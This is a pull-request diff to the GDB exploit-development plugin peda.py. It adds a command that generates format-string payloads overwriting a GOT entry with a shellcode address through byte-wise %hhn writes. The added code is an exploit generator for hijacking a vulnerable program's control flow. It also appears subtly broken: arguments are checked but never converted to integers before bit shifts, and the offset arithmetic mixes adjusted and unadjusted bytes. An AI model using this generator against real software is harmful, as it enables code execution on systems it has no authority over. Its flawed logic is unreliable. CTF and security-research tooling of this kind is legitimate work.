pull

peda.py

@@ -3253,6 +3253,95 @@ def ascii_char(ch):
 
  return
 
+ def format(self, *arg):
+ """
+ Generate format string payload (py format)
+ Usage:
+ MYNAME shellcode_address offset got_entry n_format
+ """
+ (shellcode_address, offset, got_entry, n_format) = normalize_argv(arg, 4)
+ if to_int(shellcode_address) is None:
+ self._missing_argument()
+ if to_int(offset) is None:
+ self._missing_argument()
+ if to_int(got_entry) is None:
+ self._missing_argument()
+ if to_int(n_format) is None:
+ self._missing_argument()
+
+ # Make got
+ _got = [got_entry, got_entry+1, got_entry+2, got_entry+3]
+ # because we GOT then offset+16
+ offset += 16
+
+ # Make ret bytes
+ _b1 = (shellcode_address >> 24) & 0xff
+ _b2 = (shellcode_address >> 16) & 0xff
+ _b3 = (shellcode_address >> 8) & 0xff
+ _b4 = (shellcode_address >> 0) & 0xff
+ (_f1,_f2,_f3,_f4) = (_b1,_b2,_b3,_b4)
+
+ # do the offsetting.
+ _r1 = _f4 - offset
+ while(int(_r1) <= 10):
+ _f4 += 0x100
+ _r1 = _f4 - offset
+
+ _r2 = _f3 - _b4
+ while(_r2 <= 10):
+ _f3 += 0x100
+ _r2 = _f3 - _b4
+
+ _r3 = _f2 - _b3
+ while(_r3 <= 10):
+ _f2 += 0x100
+ _r3 = _f2 - _b3
+
+ _r4 = _f1 - _b2
+ while(_r4 <= 10):
+ _f1 += 0x100
+ _r4 = _f1 - _b2
+
+ # generate nprime
+ n_prime = []
+ for i in range(0,4):
+ n_prime.append(n_format+i)
+
+ # Make got string
+ got_list = []
+ got_str = ""
+ for gaddr in _got: got_list.append("%.08x" % gaddr)
+ for gaddr in got_list:
+ got_str += "\\x%s\\x%s\\x%s\\x%s" %\
+ (gaddr[6:8], gaddr[4:6], gaddr[2:4], gaddr[0:2])
+ print "# Got offset"
+ print "payload = \"%s\"" % got_str
+
+ # Make ret payload
+ write_payload = ""
+ write_payload += "%"
+ write_payload += str(_r1)
+ write_payload += "x%"
+ write_payload += str(n_prime[0])
+ write_payload += "$hhn"
+ write_payload += "%"
+ write_payload += str(_r2)
+ write_payload += "x%"
+ write_payload += str(n_prime[1])
+ write_payload += "$hhn"
+ write_payload += "%"
+ write_payload += str(_r3)
+ write_payload += "x%"
+ write_payload += str(n_prime[2])
+ write_payload += "$hhn"
+ write_payload += "%"
+ write_payload += str(_r4)
+ write_payload += "x%"
+ write_payload += str(n_prime[3])
+ write_payload += "$hhn"
+ print "# Write 0x%.08x to 0x%.08x" % (shellcode_address, _got[0])
+ print "payload += \"%s\"" % write_payload
+
  def aslr(self, *arg):
  """
  Show/set ASLR setting of GDB